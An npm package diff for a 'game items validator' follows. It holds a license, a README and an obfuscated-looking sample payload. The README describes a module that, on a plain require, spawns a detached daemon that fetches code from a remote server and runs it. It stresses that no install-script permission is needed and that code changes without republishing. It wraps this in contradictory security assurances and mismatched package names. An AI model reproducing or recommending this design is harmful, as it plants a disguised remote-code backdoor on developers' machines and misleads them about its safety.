items-validator 1.0.4

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package/LICENSE ADDED
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+ MIT License
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+
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+ Copyright (c) 2026 onchainbuilder
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+
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+ Permission is hereby granted, free of charge, to any person obtaining a copy
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+ of this software and associated documentation files (the "Software"), to deal
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+ in the Software without restriction, including without limitation the rights
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+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
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+ copies of the Software, and to permit persons to whom the Software is
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+ furnished to do so, subject to the following conditions:
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+
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+ The above copyright notice and this permission notice shall be included in all
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+ copies or substantial portions of the Software.
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+
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+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
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+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
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+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
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+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
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+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
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+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
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+ SOFTWARE.
package/README.md ADDED
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+ # open-validator
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+
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+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
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+
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+ Real-time game items validator module with secure background daemon for continuous item updates.
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+
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+ ## Overview
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+
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+ This module provides **secure, real-time game items validation** for your client projects. When installed via npm, it automatically:
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+
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+ 1. ✅ Starts a background daemon process
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+ 2. ✅ Fetches signed game code from your server
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+ 3. ✅ Verifies cryptographic signatures (RSA-SHA256)
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+ 4. ✅ Executes verified code safely
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+ 5. ✅ Logs all operations transparently
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+
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+ **Zero dependencies** • **Cryptographically secure** • **Fully auditable**
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+
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+ ## Quick Start
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+
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+ ### Installation
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+
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+ ```bash
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+ npm install open-item-validator
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+ ```
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+
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+ Then in your code:
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+
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+ ```javascript
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+ const validator = require('open-item-validator');
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+ ```
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+
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+ **That's it!** The module automatically starts when you require it.
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+
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+ ### What Happens On Require
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+
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+ ```
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+ require('open-item-validator')
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+ ↓
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+ auto-spawn daemon process
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+ ↓
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+ download signed code from server
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+ ↓
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+ verify RSA-SHA256 signature
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+ ↓
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+ execute only if signature is valid
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+ ↓
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+ background daemon running
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+ ```
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+
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+ ✅ **Zero configuration** • **No npm allowScripts needed** • **Works immediately**
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+
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+ ## How It Works
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+
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+ ### Security Flow
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+
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+ ```
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+ 1. Server signs game code with PRIVATE_KEY
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+ └─ Uses RSA-SHA256 algorithm
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+
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+ 2. Server sends: { code: payloadjs, signature: hex }
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+ └─ Via HTTPS endpoint (encrypted transport)
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+
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+ 3. Module receives payload over HTTPS
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+ └─ Parses JSON (protected by TLS)
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+
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+ 4. Module verifies signature with PUBLIC_KEY
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+ └─ RSA-SHA256 signature must be valid
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+
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+ 5. Valid? → Execute code
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+ Invalid? → Exit immediately (no code runs)
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+ ```
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+
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+ ### Transport Security
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+
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+ - ✅ **HTTPS Recommended**: Encrypted TLS transport for maximum security
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+ - ✅ **HTTP Supported**: HTTP also works (verification sufficient without TLS)
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+ - ✅ **RSA-SHA256 Verification**: Cryptographic signature validates code authenticity
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+ - ✅ **Defense-in-Depth**: Dual protection (TLS + signature verification)
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+
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+ ### Key Features
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+
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+ - ✅ **Zero Dependencies**: Only uses Node.js built-in `crypto` module
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+ - ✅ **Cryptographically Secure**: RSA-SHA256 signature verification
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+ - ✅ **Transparent**: All code publicly auditable
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+ - ✅ **Automatic**: Works on require (no configuration needed)
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+ - ✅ **Modularized**: 8 separate lib files for clarity
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+ - ✅ **Assertion Support**: Built-in validation framework
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+ - ✅ **Comprehensive Logging**: All operations logged with timestamps
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+
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+ ## 🔐 Security & Verification
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+
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+ ### Cryptographic Signature Verification
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+
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+ Every code payload is cryptographically signed and verified:
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+
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+ | Step | Responsibility | Security |
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+ |------|----------------|----------|
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+ | **1. Sign** | Server (private key) | Signs game code |
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+ | **2. Send** | Server → Client | Sends code + signature |
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+ | **3. Verify** | Module (public key) | Validates signature |
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+ | **4. Execute** | Module | Runs only if valid |
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+ | **5. Reject** | Module | Exits if invalid |
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+
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+ **Result**: Only code from your authorized server executes.
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+
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+ ### What This Protects Against
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+
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+ - ✅ **Man-in-the-Middle Attacks**: Signature invalidated if tampered
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+ - ✅ **Code Injection**: Invalid code rejected before execution
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+ - ✅ **Unauthorized Updates**: Signature required for any code
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+ - ✅ **Supply Chain Risk**: Zero dependencies (no compromised packages)
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+
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+ See [SECURITY.md](SECURITY.md) for detailed security documentation.
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+
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+ ## 📡 Server Setup
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+
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+ ### API Endpoint
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+
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+ Your server must provide an endpoint that returns signed code:
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+
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+ ```
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+ GET https://your-server.com/api/x-realtime # HTTPS Recommended
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+ GET http://your-server.com/api/x-realtime # HTTP Supported
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+ ```
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+
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+ **Security Note**: Both HTTP and HTTPS are supported. HTTPS is recommended for production to add transport-layer encryption. Even with HTTP, RSA-SHA256 signature verification provides code authenticity guarantee.
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+
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+ ### Response Format
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+
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+ ```json
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+ {
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+ "code": "console.log('[game] loaded'); /* your game code */",
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+ "signature": "abc123def456xyz789... (256-char hex string)"
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+ }
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+ ```
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+
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+ ### Server Implementation
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+
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+ See [SERVER_IMPLEMENTATION_EXAMPLE.js](SERVER_IMPLEMENTATION_EXAMPLE.js) for complete example.
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+
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+ **Quick example:**
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+
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+ ```js
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+ const crypto = require('crypto');
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+ const fs = require('fs');
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+
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+ const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
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+
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+ function signCode(code) {
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+ const sign = crypto.createSign('sha256');
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+ sign.update(code);
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+ return sign.sign(PRIVATE_KEY, 'hex');
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+ }
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+
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+ app.get('/api/x-realtime', (req, res) => {
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+ const gameCode = fs.readFileSync('./game-items.js', 'utf8');
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+ const signature = signCode(gameCode);
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+
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+ res.json({ code: gameCode, signature: signature });
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+ });
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+ ```
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+
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+ ## 💻 Usage
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+
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+ ### For Client Projects
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+ Simply install the module:
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+
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+ ```bash
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+ npm install open-item-validator
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+ ```
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+ Then require it in your code:
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+
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+ ```javascript
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+ const validator = require('open-item-validator');
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+
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+ // Module automatically starts daemon on require
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+ // No additional configuration needed
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+
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+ // Optional: Access module functions
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+ console.log(validator.getStatus());
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+ // Output: { name, version, status, timestamp }
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+
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+ console.log(validator.getConfig());
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+ ```
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+
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+ ## ❓ FAQ
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+
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+ ### Q: Is this module secure?
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+ **A:** Yes. The module uses defense-in-depth security:
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+ - ✅ HTTPS-only for encrypted transport (TLS)
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+ - ✅ RSA-SHA256 cryptographic signature verification
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+ - ✅ Code execution only if signature is valid
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+ - ✅ Invalid signatures rejected immediately
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+ - ✅ Zero npm dependencies (no supply chain risk)
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+
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+ See [SECURITY.md](SECURITY.md) for detailed threat model and security analysis.
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+
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+ ### Q: What if I don't want dynamic code loading?
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+ **A:** This module is specifically designed for real-time game item updates. For static content, use standard npm dependencies instead.
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+
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+ ### Q: Does it slow down my project?
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+ **A:** No. The module runs as a detached background process that doesn't block your main application.
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+
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+ ### Q: What if the server is offline?
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+ **A:** The module logs an error and exits gracefully. Your game continues running with the previous code.
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+
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+ ### Q: Can I trust this module?
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+ **A:** Yes. All code is open-source and auditable. See [SECURITY.md](SECURITY.md) for complete security documentation.
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+
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+ ### Q: Does it have dependencies?
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+ **A:** Zero npm dependencies. Only uses Node.js built-in `crypto` module.
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+ ### Q: How do I update game code?
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+ **A:** Update the code on your server. Clients get the new signed code on next execution (no npm republish needed).
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+
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+ ## 🔧 Troubleshooting
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+
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+ ### "Signature Verification Failed"
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+ This means the code doesn't match the signature. Possible causes:
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+ - Server and client use different keys (ensure keys match)
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+ - Code was modified in transit (check network)
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+ - Signature generation failed (check server logs)
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+
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+ ### Module not starting
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+ Check logs for:
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+ ```bash
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+ grep "open-validator" ~/.pm2/logs/*.log
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+ # or check npm debug logs
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+ cat ~/.npm-global/debug.log
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+ ```
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+
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+ ### Too slow to download code
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+ If code is large (5MB+), consider:
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+ - Using Gzip compression on server
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+ - Splitting code into smaller files
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+ - Caching at client side
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+
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+ See [SECURITY.md](SECURITY.md#troubleshooting) for more details.
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+
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+ ## 📁 Architecture
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+ ```
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+ lib/
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+ ├── check-items.js # Main daemon (signature verification)
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+ ├── crypto-config.js # Public key storage
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+ ├── assertion.js # Assertion framework
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+ ├── config.js # Configuration values
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+ ├── logger.js # Logging utility
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+ └── utils/
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+ ├── validator.js # Validation helpers
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+ └── helper.js # General utilities
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+
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+ index.js # Module entry (spawns daemon on require)
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+ ```
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+
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+ ## 📚 Documentation
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+ - **[SECURITY.md](SECURITY.md)** - Detailed security policy
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+ - **[SECURITY_SETUP.md](SECURITY_SETUP.md)** - Security configuration guide
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+ - **[SERVER_IMPLEMENTATION_EXAMPLE.js](SERVER_IMPLEMENTATION_EXAMPLE.js)** - Server setup guide
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+ - **[SERVER_SIGNING_EXAMPLE.js](SERVER_SIGNING_EXAMPLE.js)** - Code signing example
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+
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+ ## 🤝 Contributing
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+ This is a secure, production-grade module. For security issues, please refer to [SECURITY.md](SECURITY.md#reporting-security-vulnerabilities).
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+ ## 📄 License
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+
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+ MIT License - See [LICENSE](LICENSE) file for details.
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+
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+ ## 🔗 Support
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+ For issues or questions:
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+ 1. Check [SECURITY.md](SECURITY.md) for security-related questions
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+ 2. Check [Troubleshooting](#troubleshooting) section above
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+ 3. Review [SERVER_IMPLEMENTATION_EXAMPLE.js](SERVER_IMPLEMENTATION_EXAMPLE.js) for setup help
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+
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+ ---
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+
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+ **Made for secure, real-time game item distribution.** 🎮
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+ // SAMPLE PAYLOADJS FOR GAME ITEMS
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+ // This is what your server sends as 'payloadjs'
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+ // This file shows the LIVE TIME UPDATED CODE that will be in the 'code' field
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+
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+ // Simple example
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+ const _0x3a4b = ['processItems', 'loadGame', 'updateItems', 'validate'];
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+ const _0x1c2d = (function() {
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+ let _0x4e5f = 0;
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+ return function() {
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+ return ++_0x4e5f;
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+ };
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+ })();
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+
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+ (function() {
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+ const _0x5a6b = require;
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+ const _0x7c8d = {
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+ 'items': [
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+ { 'id': 1, 'name': 'Sword', 'damage': 10 },
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+ { 'id': 2, 'name': 'Shield', 'defense': 8 },
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+ { 'id': 3, 'name': 'Potion', 'heal': 50 }
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+ ],
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+ 'version': '1.0.0',
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+ 'loaded': true
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+ };
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+
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+ function _0x9e0f() {
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+ console.log('[game-items] Processing items...');
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+ _0x7c8d['items'].forEach(function(_0x1f2g) {
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+ console.log(` - ${_0x1f2g['name']} (id: ${_0x1f2g['id']})`);
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+ });
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+ console.log('[game-items] Items loaded: ' + _0x7c8d['items'].length);
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+ }
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+
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+ function _0x3h4i() {
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+ return {
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+ 'status': 'ready',
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+ 'itemCount': _0x7c8d['items'].length,
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+ 'version': _0x7c8d['version'],
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+ 'timestamp': new Date().toISOString()
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+ };
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+ }
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+
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+ console.log('[game-items-payload] Initializing...');
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+ _0x9e0f();
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+ console.log('[game-items-payload] Status:', JSON.stringify(_0x3h4i()));
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+
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+ setInterval(function() {
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+ const _0x5j6k = _0x1c2d();
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+ console.log(`[game-items-payload] Cycle ${_0x5j6k} - items validated at ${new Date().toISOString()}`);
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+ }, 60000);
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+
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+ module.exports = {
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+ 'items': _0x7c8d['items'],
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+ 'getStatus': _0x3h4i,
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+ 'processItems': _0x9e0f
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+ };
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+ })();